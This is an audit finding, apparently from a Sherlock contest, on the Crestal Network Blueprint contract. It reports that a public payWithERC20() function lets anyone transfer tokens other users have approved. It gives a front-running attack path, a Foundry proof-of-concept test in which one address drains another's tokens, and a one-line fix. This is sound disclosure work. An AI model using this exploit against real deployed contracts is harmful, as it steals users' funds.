Dry Rainbow Mongoose

High

# Payment.payWithERC20() function allows any user to steal ERC20 tokens approved for Blueprint contract

### Summary

Payment.payWithERC20() function allows any user to steal ERC20 tokens approved for Blueprint contract

### Root Cause

Payment.payWithERC20() expects users to pay ERC20 tokens when making some kind of operation in the contract (for example, creating an Agent). However, the visibility of the function is `public`, which allows any address to call it with no restrictions.
This means that any user can call `payWithERC20()` to steal all the tokens from a user that has set an allowance for Blueprint contract to take their tokens (user's idea is to pay those ERC20 tokens to create an agent, but malicious attacker will steal them as soon as the allowance is set).

https://github.com/sherlock-audit/2025-03-crestal-network/blob/main/crestal-omni-contracts/src/Payment.sol#L25-L32

### Internal Pre-conditions

1. Alice sets an allowance of an enabled ERC20 token Blueprint contract, as she intends to call `createAgentWithToken()`, which requires an ERC20 token payment.

### Attack Path

1. Bob sees Alice just approved a certain amount of ERC20 token for Blueprint contract.
2. Bob frontruns Alice calling `payWithERC20()` before Alice calls `createAgentWithToken()`, using Alice's address as `fromAddress` parameter. As Blueprint contract is approved by Alice, Bob is able to steal Alice's tokens.

### Impact

Any user that approves any ERC20 tokens for Blueprint contract will get them stolen instantly, as `payWithERC20()` has public visibility and everyone can call it with arbitrary parameters. This totally breaks the possibility of creating an Agent by paying ERC20 tokens and will discourage users from using the protocol, making them look for safe alternative options.

### PoC

```solidity
function test_stolenTokens() public{
        address alice = makeAddr("alice");
        address bob = makeAddr("bob");
        mockToken.mint(alice, 1e18);
        uint256 aliceInitialBalance = mockToken.balanceOf(alice);
        uint256 bobInitialBalance = mockToken.balanceOf(bob);
        assertEq(aliceInitialBalance, 1e18);
        assertEq(bobInitialBalance, 0);
        vm.prank(alice);
        mockToken.approve(address(blueprint), 1e18);
        vm.prank(bob);
        blueprint.payWithERC20(address(mockToken), 1e18, alice, bob);
        uint256 aliceFinalBalance = mockToken.balanceOf(alice);
        uint256 bobFinalBalance = mockToken.balanceOf(bob);
        assertEq(aliceFinalBalance, 0);
        assertEq(bobFinalBalance, 1e18);
    }
```

### Mitigation

Change the visibility of `payWithERC20()` function from public to internal, so that only Blueprint contract can call and external calls with arbitrary parameters are not allowed:

```solidity
- function payWithERC20(address erc20TokenAddress, uint256 amount, address fromAddress, address toAddress) public {
+ function payWithERC20(address erc20TokenAddress, uint256 amount, address fromAddress, address toAddress) internal {
        // check from and to address
        require(fromAddress != toAddress, "Cannot transfer to self address");
        require(toAddress != address(0), "Invalid to address");
        require(amount > 0, "Amount must be greater than 0");
        IERC20 token = IERC20(erc20TokenAddress);
        token.safeTransferFrom(fromAddress, toAddress, amount);
    }
```